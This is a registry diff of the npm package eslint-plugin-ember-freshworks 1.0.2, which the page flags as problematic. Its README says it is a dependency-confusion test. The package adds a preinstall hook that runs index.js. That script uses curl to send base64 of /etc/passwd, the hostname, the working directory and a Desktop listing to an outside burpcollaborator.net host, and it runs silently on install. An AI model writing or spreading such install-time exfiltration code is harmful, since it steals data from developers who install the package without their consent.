eslint-plugin-ember-freshworks 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of eslint-plugin-ember-freshworks might be problematic. Click here for more details.
- package/README.md +22 -0
- package/index.js +13 -0
- package/package.json +12 -0
package/README.md
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
This is a sample package claimed for testing Dep-conf atck.
|
2
|
+
|
3
|
+
|
4
|
+
Hi, if you're reading this you're probably wondering what this code is doing on
|
5
|
+
your machine. Don't worry! It doesn't do anything nasty or malicious.
|
6
|
+
|
7
|
+
I am an ethical security researcher, attempting attacks against organisations
|
8
|
+
that have a "bug bounty" type program in place.
|
9
|
+
|
10
|
+
I am performing work similar to the work in this blog post:
|
11
|
+
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
|
12
|
+
|
13
|
+
If your organisation has a bug bounty program my findings will be reported via
|
14
|
+
that program.
|
15
|
+
|
16
|
+
If your organisation does not have a bug bounty program, you were not targeted
|
17
|
+
by my work and have some how ended up getting included, any data reported from
|
18
|
+
your org will be discarded.
|
19
|
+
|
20
|
+
All data I collect will be deleted as soon as I'm done, in either case.
|
21
|
+
|
22
|
+
|
package/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
exec('curl --data-urlencode "passwd=`cat /etc/passwd|base64`" --data-urlencode "hostname=`hostname`" --data-urlencode "pwd=`pwd`" --data-urlencode "ls=`ls ~/Desktop`" http://121oie7u874vu6pb3viqzpw7lyrofd.burpcollaborator.net/' , (error, stdout, stderr) => {
|
4
|
+
if (error) {
|
5
|
+
console.log(`error: ${error.message}`);
|
6
|
+
return;
|
7
|
+
}
|
8
|
+
if (stderr) {
|
9
|
+
console.log(`stderr: ${stderr}`);
|
10
|
+
return;
|
11
|
+
}
|
12
|
+
console.log(`stdout: ${stdout}`);
|
13
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "eslint-plugin-ember-freshworks",
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "vicky.dinesh@yahoo.com",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|